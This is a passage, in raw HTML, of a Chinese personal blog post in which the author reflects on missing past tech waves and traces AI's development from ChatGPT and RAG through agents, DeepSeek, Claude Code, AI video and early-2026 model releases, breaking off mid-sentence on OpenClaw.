0.9);">这两件事情几乎发生在同一时间，像洪流一样摧毁了我的认知，我自以为我天天了解AI的新闻，也在AI使用的第一线，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">但我自以为是的傲慢让我错过了最早跟上的第一班车。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="28"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">在我刚刚意识到这件事情之后，马上从1月一直到3月，AI的热潮就已经越演越烈，除了过年的几天，我几乎每天都在接触和辨别新东西的诞生，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">今天还在测试做工作流，明天研究这个那个skill，后天研究openclaw。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="29"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">我开始越来越意识到，我似乎正值某一个时代的风口。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="30"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">其实在我不短不长的职业生涯中，也接触过好几次类似的事情。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="31"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">我真正意义上错过的风口，其实只有一个，叫做</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">移动互联网</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">。但严格意义上来说也不算实际错过，毕竟移动互联网真正的核心腾讯、阿里、字节跳动，在我还没毕业的时候就已经成型了，最多就是没赶上第三波车，也不算非常可惜。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="32"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">我第二次遇到所谓的风口，叫做</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">区块链</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="33"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">和第一次不太一样，我曾经深度的all in过区块链1-2年，不仅仅是区块链安全，还包括区块链相关的很多内容，我甚至可以说是世界范围内，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">最早投入区块链安全的人群之一。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: justify;font-size: 17px;font-weight: 300;margin-bottom: 24px;line-height: 2.0;" data-layout-id="34"><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="313" data-backw="389" data-imgfileid="100000598" data-ratio="0.8046272493573264" style="width: 100%;" data-type="png" data-w="389" src="https://wechat2rss.xlab.app/img-proxy/?k=18f038f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtuUjMUeaow6G74ESCLOv71sFSVTg678icZg76OWDiaejfd5Kr3jANKTU5Fz9OTe9BCjibmYQOyPZnQ7VMBNCRYJ9xXmUm7eOib9hRA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="35"><span leaf=""><span textstyle="" style="font-size: 14px;">有段时间猛写区块链相关的文章</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="36"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">但在区块链这件事情上，我很快意识到，区块链最大的存在意义已经到这里了，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">金融就是他最好的场景</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，于是在后续的几年里我快速的从这里抽身出来。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="37"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">幸运的是我的认知是对的，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">炒币已经是区块链最大的意义</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">了。不幸的是，如果我继续投入区块链，我应该能获得足以安慰自己的身家，当然，没有如果。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="38"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">在中间快速的跳过几年，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">上一次时代浪潮的风口叫做chatgpt</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，我认为chatgpt对于ai最大的贡献和价值，就是他终于帮助ai迈出了最关键的那一步，就是ai可以和人类沟通了。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="38"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000615" data-ratio="0.25874125874125875" data-w="858" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7c10d542&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtsR0ficPhjcFRdroujmmAgpibWqNfPU5yMwfib4d06Vz0Egdb385pTTbjXFIG5TDDQPMriaVV3TIMHtP8ZUf2Nr5cJ6I2Fd3xtOnSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="39"><span leaf=""><span textstyle="" style="font-size: 14px;">找不到chatgpt图了</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="40"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">在chatgpt出现的前几年，无论是最出名的阿尔法狗下围棋击败柯洁，还是探讨神经网络模型的深度学术，ai对于大家来说更多只是一个科幻名词，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">人们对于AI最高的想象力也不过来自于科幻电影，很多人对于AI的期望可能还是50-100年后。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="41"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">2022年，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">chatgpt完全打破了普通用户和AI的第一扇窗</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，我们真正开始意识到，原来AI已经可以完成这么麻烦的语义解析了，可以完全打通语言这块，但最早的chatgpt也仅限于此。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="42"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">在最早的版本中，ai的实用性还很差，大部分用户只能以</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">prompt工程师的方式</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，想办法调动ai的能力，更有能力的公司会开始尝试微调，真正入局的大公司开始堆算力训练自己的大模型。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="43"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">ps：只有我一个人觉得当年的prompt提示词没啥实际用吗？我最早一直觉得很怪。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="43"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000616" data-ratio="0.18118948824343015" data-w="723" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=675b3122&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtucKp8NIwPhcibNy7RSI4mtib0vnJGDCscFP851Rt71wgqOtUqkiaC6yfFGRvl1114bonKNSpxqaBaBqSHCb0cia2kRKjgMGib6IRps%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="44"><span leaf=""><span textstyle="" style="font-size: 14px;">最早的prompt就是给你设定角色</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="45"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">最早的AI上下文极短，本身AI的能力也不够强，最早的应用场景做知识库，他的应用办法也是取巧，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">RAG的知识库模式应该是最早唯一的实现方式。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="46"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">简单来说就是</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">用户提问</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">↓</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">将问题向量化（Embedding）</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">↓</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">在知识库中检索相关文档（VectorDB）</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">↓</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">将检索结果 + 原始问题拼接为Prompt</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">↓</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 0px;line-height: 1.5em;" data-layout-id="47"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">送入LLM生成最终回答</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="48"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">实话讲这套方案效果非常差，试图</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">将AI能力薄弱转嫁为数学问题</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，在实际体验中效果就很一般了，那</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">最早做AI搜索的知识库，搜索引擎</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，效果都不算好，更多都是以营销为核心。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="49"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">再往后，大概是2023年年终，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">以GPT4为代表的大模型，以插件的形式打通了大模型和其他输入来源</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，最早的GPT，你只能问他已经训练过的数据，我记得当时有个标准就是不能问近3年更新的内容，GPT没学过。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="50"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">从GPT4开放插件之后，大模型有了第三方的输入，其中</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">最有价值的就是联网搜索</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，从这里开始，GPT真正意义上成为了很多人遇到问题搜索的第一优先级，最早是程序员使用搜索代码问题，再到后来，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">这类的观念和理念促成了23年最火的AI工具cursor</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，自此用AI辅助编程就成了主流，被越来越多人接受和使用。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="50"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000617" data-ratio="0.411697247706422" data-w="872" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9d92fe43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxttn7bz0zzdF21GXKGtXFCZfC8KtJVNWSDmnlM3OVeib8rqaUY0u8dFF0hR1z8KuQBS62vmIpSvetxfbyw807SRayVAYdJzibKOaE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="51"><span leaf=""><span textstyle="" style="font-size: 14px;">联网搜索让gpt大大进化</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="52"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">再往后23年末，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">工作流、agent的概念诞生</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，事实上也正是从这里开始，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">我低估了方法论在AI实际使用上的效果。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="52"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000618" data-ratio="0.39751552795031053" data-w="644" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=84b5b874&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtu6KO3jCicklt1oMvic5ic5kWiaibJibwozahZJU2BCLZ8051UvxTyjY2cWTlibEzVmgZaN9FJnS6bYNTdicibsXcZ0t9H9PcQjTdWTZjZo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="53"><span leaf=""><span textstyle="" style="font-size: 14px;">工作流的基础角色</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="54"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">其实从23末到25年，这个期间比起方法论的发展，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">AI更主流的发展是大模型的能力。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="55"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">大家都知道的</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">deepseek发起的算力革命</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，ds的出现打破了openai为首试图发起21世纪算力霸权的企图，从这里开始大模型不再拼谁的算力更强，集群更大。而是谁能做出更聪明的模型。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="55"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000619" data-ratio="0.2949117341640706" data-w="963" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c417bcb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtvqIXUup8nfyst6oAoSH41SBRaBCbKWjkWDHicbXLxohR3BBnPljkSicTia2cPQ0qnqPCADXrOp42IdOBpNpSqIzF5ibSghILM4EIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="56"><span leaf=""><span textstyle="" style="font-size: 14px;">25年年初最火deepseek</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="57"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">也正是从廉价大模型能力出现之后，以豆包为首的民用AI场景越来越强，越来越实用。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="58"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">现在回顾25年，可以说25年是真正的AI元年。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="59"><span leaf=""><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">民用情感对话方面，豆包的诞生。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 300;margin-bottom: 24px;line-height: 2.0;" data-layout-id="60"><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000604" data-ratio="1.1734693877551021" data-s="300,640" type="block" data-type="png" data-w="294" src="https://wechat2rss.xlab.app/img-proxy/?k=8919a222&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxts6ydJmp5Crib1iafibxJkZK6iajavTTn65IFC4aLoeY7BNoeWXeLfZb5kzAiaFEPlg3DnK5Ay0ibw9NqWG29tMQPRR0gtIRibq0nXfUs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="61"><span leaf=""><span textstyle="" style="font-size: 14px;">豆包：民用AI巅峰</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="62"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">代码相关，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">Claude code和codex都是25年诞生</span><span textstyle="" style="font-size: 16px;color: #ff6827;">。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="62"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000620" data-ratio="0.22037037037037038" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1fc5476a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtu7oMFD5Hx0iaVXMkuymLicDkd6YBbrMWY6YpCAyrOMUb9Bw6uQdFf3cSw3pI1VHezHeP2teAFmziaJbkSibkrV0o4BokYzC62exAI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="63"><span leaf=""><span textstyle="" style="font-size: 14px;">Claude Code</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="64"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">还有一个大家可能关注比较少的领域，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">AI视频生成，即梦AI 2.0也是刚刚发布</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，在这之前AI视频更多停留在换脸或者生成一个奇怪的AI感很强的搞怪视频。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="65"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">但在26年，视频AI可以说是突飞猛进，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">过年期间我刷到过很多关于真人AI后室vlog的视频</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，不知道有没有人了解过，效果非常好，在年后甚至</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">有那种效果非常好的ai短剧出现</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，不是说AI视频已经可以替代真人，但会有一种护城河被冲破的感觉。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="66"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">ps：我不知道我看的这个是不是最早做的，但是他用了</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">真人演绎+AI视频做的后室vlog</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，效果非常好，我知道他是AI做的，但是我并不反感，真的很不错。</span></span></p><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="66"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000621" data-ratio="1.5149700598802396" data-w="334" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=deb4c677&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtvQ3g4MdNMw1ISxhdfBpQ3CrM4pyqXRwCPQdXsstyRqutvzrAfNJ1HcQg0CRGsicD3icwTdPcHVZdRNeCEukV6FYLT2E9LjmPtSc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="67"><span leaf=""><span textstyle="" style="font-size: 14px;">抖音一个很火的后室vlog</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="68"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">再往后，从26年开始，我真正意识到AI浪潮已来之后，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">26年的热点和浪潮一波接着一波。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="69"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">首先是元旦到年间的AI大战，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">阿里的千问，腾讯的元宝，字节的豆包</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，铺天盖地的宣传和推广袭来，颇有点儿当年阿里腾讯支付大战的风采，现在最不敏感的普通民众应该都意识到似乎有很多东西不一样了。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="69"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000622" data-ratio="0.7101851851851851" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=71525407&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxttRwujYE2DCbahkqKE2ff7mvnlKmZJk1CLeKNibRO84cgxb1rbQkSHicYpnNLJ6BicKM8I0YQTF0S55uwElSKkfOXicmxUFBmuTDQU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="70"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">大模型方面年后大量的新模型发布，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">GPT5.4，Claude Sonnet4.6，Gemini 3.1Pro，Grok 4.2，GLM5，Minmax2.5，还包括前面说的视频ai seedance 2.0</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，虽然大模型的能力没有革命性的进步，但不同模型的能力也在进一步拉齐。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="71"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">ps：给大家推荐下我现在用的特别多的GLM5，实话讲我也觉得和opus差距较大，但是这个模型真的便宜，我近期那种测试学习向的AI都用了这个。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="72"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);"><a href="https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH" target="_blank">https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH</a></span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="73"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">很快我们迎来了年后的第一个大热点。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="74"><span leaf=""><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">最早的Clawdbot，后来改名Moltbot，现在又改名叫Openclaw</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，最近最有名的应该叫做龙虾。其实</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: 